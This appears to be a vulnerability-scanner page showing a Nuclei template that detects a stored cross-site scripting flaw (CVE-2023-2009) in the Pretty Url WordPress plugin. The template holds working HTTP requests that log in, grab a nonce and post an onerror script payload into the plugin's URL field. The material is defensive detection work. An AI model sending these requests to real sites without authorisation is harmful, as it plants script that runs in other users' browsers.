Pretty Url <= 1.5.4 - Cross-Site Scripting

ID: CVE-2023-2009

Severity: medium

Author: r3Y3r53

Tags: cve2023,cve,wordpress,wpscan,wp-plugin,wp,authenticated,pretty-url,xss,pretty_url_project

Description

Plugin does not sanitize and escape the URL field in the plugin settings, which could allow high-privilege users to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).

YAML Source

id: CVE-2023-2009

info:
  name: Pretty Url <= 1.5.4 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Plugin does not sanitize and escape the URL field in the plugin settings, which could allow high-privilege users to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).
  reference:
    - https://wpscan.com/vulnerability/f7988a18-ba9d-4ead-82c8-30ea8223846f
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2009
    - https://wordpress.org/plugins/pretty-url/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2023-2009
    cwe-id: CWE-79
    epss-score: 0.00099
    epss-percentile: 0.41053
    cpe: cpe:2.3:a:pretty_url_project:pretty_url:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: pretty_url_project
    product: pretty_url
    framework: wordpress
  tags: cve2023,cve,wordpress,wpscan,wp-plugin,wp,authenticated,pretty-url,xss,pretty_url_project

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log=((username))&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=prettyurls HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-admin/admin.php?page=prettyurls HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _wpnonce={{nonce}}&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dprettyurls&id=&category=accordions%7Epost_type&url=%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E&meta_title=&meta_description=&meta_keyword=

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(body_3, "<img src=x onerror=alert(document.domain)>")'
          - 'contains(body_3, "prettyurls")'
        condition: and

    extractors:
      - type: regex
        internal: true
        name: nonce
        part: body
        group: 1
        regex:
          - 'name="_wpnonce" value="([0-9a-z]+)" />'
# digest: 4b0a00483046022100b2f042ecf7d9fa9b82ebb4ffe54dae1f72941653a25f8e46ada09a302a54644202210092d95282b535fcb1d593e5c1b7c36e963ef988f4ec91085a72b70d39423065ff:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-2009.yaml"

View on Github